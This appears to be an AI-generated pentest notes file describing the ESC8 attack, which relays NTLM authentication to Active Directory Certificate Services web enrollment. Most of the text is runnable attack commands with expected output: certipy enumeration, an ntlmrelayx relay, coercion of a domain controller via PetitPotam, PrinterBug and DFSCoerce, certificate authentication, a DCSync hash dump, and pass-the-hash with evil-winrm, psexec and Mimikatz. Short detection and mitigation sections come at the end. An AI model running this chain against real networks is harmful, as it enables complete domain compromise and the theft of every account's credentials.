esc8-ntlm-relay-to-adcs-http-web-enrollment.md (17805B)
1 --- 2 title: "ESC8 — NTLM Relay to ADCS HTTP Web Enrollment" 3 description: "ESC8 is a network-level NTLM relay attack against the ADCS Web Enrollment HTTP interface. Every ESC attack up to this point required you to already have…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs", "credential-access", "ntlm", "relay"] 7 tools: ["Impacket", "Mimikatz", "Rubeus", "Certipy", "Evil-WinRM"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC8 — NTLM Relay to ADCS HTTP Web Enrollment.md" 11 --- 12 # ESC8 — NTLM Relay to ADCS HTTP Web Enrollment 13 14 ## What Is ESC8? 15 16 ESC8 is a **network-level NTLM relay attack** against the ADCS Web Enrollment HTTP interface. Every ESC attack up to this point required you to already have domain credentials and be abusing template or CA misconfigurations. ESC8 is fundamentally different — you **intercept or coerce an authentication attempt from a privileged machine** (like a Domain Controller), relay those NTLM credentials to the CA's web enrollment endpoint, and trick the CA into issuing a certificate for that high-privilege machine account. 17 18 The result: you get a certificate for `DC01$` (the DC's machine account). With that certificate you can retrieve the DC's NT hash via PKINIT, then perform a **DCSync** — full domain compromise without ever knowing a single password. 19 20 This attack combines **three techniques** into one chain: 21 1. **Coercion** — Force a privileged machine to authenticate to you 22 2. **NTLM Relay** — Relay those credentials to the CA web enrollment endpoint 23 3. **Certificate Abuse** — Use the issued cert to authenticate as the coerced machine 24 25 *** 26 27 ## Required Conditions 28 29 | Condition | Where to Check | 30 |-----------|----------------| 31 | **Web Enrollment is enabled** on CA | CA output: `Web Enrollment: Enabled` | 32 | HTTP (not HTTPS only) endpoint accessible | `http://<CA>/certsrv/` responds | 33 | **Extended Protection for Authentication (EPA) disabled** | Default IIS config — not enabled by default | 34 | **Request Disposition: Issue** | CA output: `Request Disposition: Issue` | 35 | At least one template allowing **Machine/Computer authentication** | `DomainController`, `Machine`, `Computer` templates | 36 | NTLM not blocked on the network | SMB signing may be relevant for coercion path | 37 38 *** 39 40 ## Step 0 — Enumeration 41 42 ```bash 43 # Standard certipy scan 44 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 45 -dc-ip $TARGET -vulnerable -stdout 46 47 # With hash 48 certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \ 49 -dc-ip $TARGET -vulnerable -stdout 50 51 # Check if web enrollment HTTP endpoint is alive 52 curl -k http://<CA-IP>/certsrv/ 53 # If it returns an IIS/Windows auth page = vulnerable 54 ``` 55 56 ### What Vulnerable ESC8 Output Looks Like 57 58 ``` 59 Certificate Authorities 60 0 61 CA Name : DOMAIN-CA 62 DNS Name : DC01.domain.htb 63 Web Enrollment 64 HTTP 65 Enabled : True ← ⚠️ KEY FLAG 66 HTTPS 67 Enabled : False 68 User Specified SAN : Disabled 69 Request Disposition : Issue ← No manual approval 70 Enforce Encryption for Requests : Disabled 71 72 [!] Vulnerabilities 73 ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue 74 ``` 75 76 > 💡 If you see `HTTP Enabled: False` and `HTTPS Enabled: False` (like your Fluffy box showed for `fluffy-DC01-CA`), then ESC8 is **not available** — the web enrollment endpoint is off. This is why Fluffy needed ESC16 instead. 77 78 *** 79 80 ## Understanding the Attack Topology 81 82 Before running commands, understand what is happening on the network: 83 84 ``` 85 [YOUR ATTACK BOX] [DOMAIN CONTROLLER] [CA / ADCS SERVER] 86 │ │ │ 87 │ 1. Set up relay │ │ 88 │ ntlmrelayx listening │ │ 89 │ │ │ 90 │ 2. Coerce DC auth │ │ 91 │ PetitPotam/PrintSpooler │ │ 92 │─────────────────────────►│ │ 93 │ │ NTLM Auth triggered │ 94 │◄─────────────────────────│ │ 95 │ 3. Relay NTLM to CA │ │ 96 │─────────────────────────────────────────────────────►│ 97 │ │ CA issues DC01$.pfx │ 98 │◄─────────────────────────────────────────────────────│ 99 │ 4. Authenticate as DC01$ │ 100 │ certipy auth -pfx dc01.pfx │ 101 │─────────────────────────►│ │ 102 │ 5. DCSync (dump all hashes) │ 103 │─────────────────────────►│ │ 104 ``` 105 106 *** 107 108 ## Full Attack Chain — Linux (Certipy + ntlmrelayx + PetitPotam) 109 110 ### Step 1 — Set Up the NTLM Relay Listener 111 112 Open **Terminal 1** — this stays running throughout: 113 114 ```bash 115 # Relay to the CA's web enrollment endpoint 116 # -t = target (CA web enrollment URL) 117 # --adcs = tells ntlmrelayx to request a certificate 118 # --template = which template to request (DomainController for DC machine accounts) 119 120 impacket-ntlmrelayx \ 121 -t http://<CA-IP>/certsrv/certfnsh.asp \ 122 -smb2support \ 123 --adcs \ 124 --template 'DomainController' 125 126 # If the CA is on the same host as the DC: 127 impacket-ntlmrelayx \ 128 -t http://DC01.domain.htb/certsrv/certfnsh.asp \ 129 -smb2support \ 130 --adcs \ 131 --template 'DomainController' 132 ``` 133 134 > 💡 `--template DomainController` is specifically for coercing DCs. If you're targeting a regular machine account use `--template Machine`. If targeting a user account use `--template User`. 135 136 *** 137 138 ### Step 2 — Coerce Authentication from the Domain Controller 139 140 Open **Terminal 2** — trigger the DC to authenticate to you. 141 142 **Method A — PetitPotam (most reliable, CVE-2021-36942 / MS-EFSRPC):** 143 ```bash 144 # Unauthenticated version (pre-patch) 145 python3 PetitPotam.py <YOUR-IP> <DC-IP> 146 147 # Authenticated version (post-patch, still works if you have creds) 148 python3 PetitPotam.py \ 149 -u 'lowpriv' \ 150 -p 'Password123!' \ 151 -d 'domain.htb' \ 152 <YOUR-IP> <DC-IP> 153 ``` 154 155 **Method B — PrinterBug / SpoolSample (Print Spooler abuse):** 156 ```bash 157 python3 printerbug.py 'domain.htb/lowpriv:Password123!'@<DC-IP> <YOUR-IP> 158 ``` 159 160 **Method C — DFSCoerce (MS-DFSNM):** 161 ```bash 162 python3 dfscoerce.py -u 'lowpriv' -p 'Password123!' -d 'domain.htb' <YOUR-IP> <DC-IP> 163 ``` 164 165 **Method D — Certipy's built-in relay (newer versions):** 166 ```bash 167 # Certipy v5+ has integrated relay support 168 certipy-ad relay -ca <CA-IP> -template DomainController 169 # Then coerce separately with PetitPotam 170 ``` 171 172 *** 173 174 ### Step 3 — Collect the Certificate (Watch Terminal 1) 175 176 After coercion, watch Terminal 1 (ntlmrelayx) output: 177 178 ``` 179 [*] SMBD-Thread-4: Connection from DC01$@<DC-IP> controlled, attacking target http://<CA-IP> 180 [*] HTTP server returned error code 200, treating as a successful login 181 [*] Authenticating against http://<CA-IP> as DOMAIN/DC01$ SUCCEED 182 [*] ADCS: Getting certificate... 183 [*] ADCS: Got certificate with UPN 'DC01$@domain.htb' 184 [*] ADCS: Saved certificate and private key to 'DC01$.pfx' ← ⚠️ This is your weapon 185 ``` 186 187 > 💡 The file will be named after the machine account — typically `DC01$.pfx`. The `$` suffix denotes a machine account. 188 189 *** 190 191 ### Step 4 — Authenticate as the DC Machine Account 192 193 ```bash 194 certipy-ad auth \ 195 -pfx 'DC01$.pfx' \ 196 -username 'DC01$' \ 197 -domain domain.htb \ 198 -dc-ip $TARGET 199 ``` 200 201 **Expected output:** 202 ``` 203 [*] Using principal: 'DC01$@domain.htb' 204 [*] Trying to get TGT... 205 [*] Got TGT 206 [*] Saving credential cache to 'DC01$.ccache' 207 [*] Trying to retrieve NT hash for 'DC01$' 208 [*] Got hash for 'DC01$@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH 209 ``` 210 211 *** 212 213 ### Step 5 — DCSync (Dump All Domain Hashes) 214 215 With the DC machine account's TGT or hash, you have **replication rights** — meaning you can perform a DCSync to pull every single hash in the domain: 216 217 ```bash 218 # Using the TGT 219 export KRB5CCNAME='DC01$.ccache' 220 secretsdump.py -k -no-pass DC01.domain.htb 221 222 # Using the NT hash directly 223 secretsdump.py \ 224 -hashes :NTHASH \ 225 'domain.htb/DC01$'@DC01.domain.htb 226 227 # Output includes ALL domain hashes: 228 # Administrator:500:aad3b435b51404eeaad3b435b51404ee:8da83a3... 229 # krbtgt:502:aad3b435b51404eeaad3b435b51404ee:KRBTGT_HASH... 230 # All user NT hashes... 231 ``` 232 233 *** 234 235 ### Step 6 — Pass-the-Hash as Administrator 236 237 ```bash 238 # With Administrator's NT hash from DCSync 239 evil-winrm -i $TARGET -u administrator -H <ADMIN_NTHASH> 240 wmiexec.py administrator@$TARGET -hashes :ADMIN_NTHASH 241 psexec.py administrator@$TARGET -hashes :ADMIN_NTHASH 242 ``` 243 244 *** 245 246 ## Full Attack Chain — Windows (Rubeus + ntlmrelayx) 247 248 ```powershell 249 # This attack is primarily Linux-based due to tooling 250 # On Windows, you would need: 251 252 # Step 1: Use Inveigh for relay (PowerShell NTLM relay) 253 Import-Module .\Inveigh.ps1 254 Invoke-InveighRelay -ConsoleOutput Y -StatusOutput N -Target http://<CA-IP>/certsrv/certfnsh.asp 255 256 # Step 2: Coerce via PrinterBug from Windows 257 .\SpoolSample.exe <DC-IP> <YOUR-IP> 258 259 # Step 3: Convert base64 cert from Inveigh output 260 # Import and use with Rubeus 261 .\Rubeus.exe asktgt /user:DC01$ /certificate:<base64cert> /getcredentials /nowrap 262 263 # Step 4: DCSync 264 .\Mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv" exit 265 ``` 266 267 *** 268 269 ## ESC8 Visual Attack Flow 270 271 ``` 272 ┌─────────────────────────────────────────────────────────────────┐ 273 │ PREREQUISITE CHECK │ 274 │ certipy find → Web Enrollment: Enabled + Disposition: Issue │ 275 └─────────────────────────────────────────────────────────────────┘ 276 │ 277 ┌────────────────▼────────────────┐ 278 │ Terminal 1: ntlmrelayx │ 279 │ -t http://<CA>/certsrv/... │ 280 │ --adcs --template DomainController│ 281 │ LISTENING... │ 282 └────────────────┬────────────────┘ 283 │ 284 ┌────────────────▼────────────────┐ 285 │ Terminal 2: PetitPotam/coerce │ 286 │ Force DC01$ → auth to YOUR-IP │ 287 └────────────────┬────────────────┘ 288 │ 289 ┌────────────────▼────────────────┐ 290 │ ntlmrelayx relays to CA HTTP │ 291 │ CA issues DC01$.pfx │ 292 └────────────────┬────────────────┘ 293 │ 294 ┌────────────────▼────────────────┐ 295 │ certipy auth -pfx DC01$.pfx │ 296 │ → TGT + NT hash for DC01$ │ 297 └────────────────┬────────────────┘ 298 │ 299 ┌────────────────▼────────────────┐ 300 │ secretsdump DCSync │ 301 │ → ALL domain hashes │ 302 └────────────────┬────────────────┘ 303 │ 304 [DOMAIN OWNED] 305 ``` 306 307 *** 308 309 ## ESC8 vs All Previous ESCs 310 311 | | ESC1–4 | ESC6–7 | **ESC8** | 312 |---|---|---|---| 313 | **Requires domain creds to start** | ✅ | ✅ | ⚠️ May not need (unauthenticated coercion) | 314 | **Attack surface** | Certificate Templates | CA configuration | **Network / HTTP** | 315 | **Key tool** | `certipy req` | `certipy ca` | **ntlmrelayx + PetitPotam** | 316 | **What you steal** | Certificate for a user | Certificate for a user | **Certificate for a machine account** | 317 | **Post-exploitation** | PTH / TGT | PTH / TGT | **DCSync → full domain** | 318 | **Noisiness** | Medium | Medium | **High — network coercion is loud** | 319 320 *** 321 322 ## Troubleshooting Common Issues 323 324 | Error | Cause | Fix | 325 |-------|-------|-----| 326 | `ntlmrelayx` gets connection but CA returns 401 | EPA enforced on IIS | Confirm with `curl -v http://<CA>/certsrv/` — if NTLM is listed but fails, EPA may be on | 327 | PetitPotam fails | DC patched for unauthenticated EFS | Use authenticated version with `-u/-p`, or switch to PrinterBug/DFSCoerce | 328 | Got cert but `certipy auth` fails | Template mismatch — got cert for wrong account type | Verify cert UPN with `certipy cert -pfx DC01$.pfx` | 329 | `certsrv` URL not reachable | Web enrollment not on port 80 or CA is different host | Try HTTPS port 443, or confirm CA hostname from certipy find output | 330 | Relay times out | DC coercion succeeded but DC can't reach your IP | Check firewall rules — DC must be able to reach YOUR-IP on TCP 445 and 80 | 331 332 *** 333 334 ## Detection Indicators 335 336 - **Event ID 4768/4769** — Kerberos TGT requested for a machine account from an unusual source IP 337 - **Event ID 4887** — Certificate issued for a machine account via web enrollment 338 - **IIS logs on CA** — `POST /certsrv/certfnsh.asp` requests from IP addresses that are not the machine account's own IP — the relay source IP will differ from the machine account's actual IP 339 - **Net logon anomalies** — A DC machine account authenticating to an unexpected host 340 - **Sysmon Event ID 3** — Network connection from `lsass.exe` to an unusual target 341 342 *** 343 344 ## Mitigation 345 346 - **Enforce HTTPS** on the Web Enrollment endpoint and disable HTTP entirely 347 - **Enable Extended Protection for Authentication (EPA)** on IIS for the `certsrv` application — this binds NTLM auth to the TLS channel, breaking the relay 348 - **Disable Web Enrollment** entirely if not needed — most orgs can use RPC-based enrollment instead 349 - **Block NTLM** where possible — or enforce **SMB signing** on all machines to prevent coercion-based relay 350 - **Patch CVE-2021-36942** — removes unauthenticated PetitPotam coercion 351 - **Restrict which templates machine accounts can enroll in** via CA enrollment agent restrictions 352 353 *** 354 355 Ready for **ESC11** whenever you say go, Netrunner. 356 357 Sources 358 Enumerating Ad Cs And... https://www.linkedin.com/pulse/esc8-attack-exploiting-adcs-domain-dominance-krishnendu-de-ijaqc 359 ADCS ESC8 – NTLM Relay to AD CS HTTP Endpoints https://www.hackingarticles.in/adcs-esc8-ntlm-relay-to-ad-cs-http-endpoints/ 360 ESC8 is a critical vulnerability in Active Directory Certificate Services https://anantis.io/esc8/ 361 ESC8 Attack Guide for Windows Environments - Sentry Blog https://blog.sentry.security/esc8-attack-guide-for-windows-environments-2/ 362 redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf 363 Active Directory Certificate Attack: ESC8 - ADCS https://www.rbtsec.com/blog/active-directory-certificate-attack-esc8-adcs-web-enrollment/ 364 Closing the ESC8 Vulnerability in Active Directory Certificate Services https://www.avertium.com/blog/escalation-8-how-to-close-a-commonly-exploited-active-directory-certificate-services-elevation-of-privilege-vulnerability 365 Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt2/ 366 How Certificates became AD's Biggest Attack Surfaces https://silverbackcyber.io/2026/02/23/adc-active-directorys-biggest-attack-surfaces/ 367 AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/ 368 Understanding Active Directory Certificate Services: A Focus on ... https://trustfoundry.net/2024/08/19/understanding-active-directory-certificate-services-a-focus-on-esc1-and-esc8/ 369 Abusing Active Directory Certificate Services (ADCS) | ESC8 Attack ... https://www.youtube.com/watch?v=pVezmVSCJGk 370 ESC8 exploits misconfigured Active Directory Certificate Services ... https://www.linkedin.com/posts/hendryadrian_activedirectory-ntlmrelay-activity-7335272144282468352-XXnH 371 ADCS ESC8 Tutorial | Attack Active Directory Certificate Services https://www.youtube.com/watch?v=QUTXge-9lRo 372 Mitigating ESC1 and ESC8 Vulnerability in Active Directory https://www.encryptionconsulting.com/mitigating-esc1-and-esc8-vulnerability-in-active-directory/ 373 Exploiting Active Directory Certificate Services (ADCS) Using Only ... https://www.youtube.com/watch?v=FhJpfWZ6NQA 374 Silver Ticket https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc8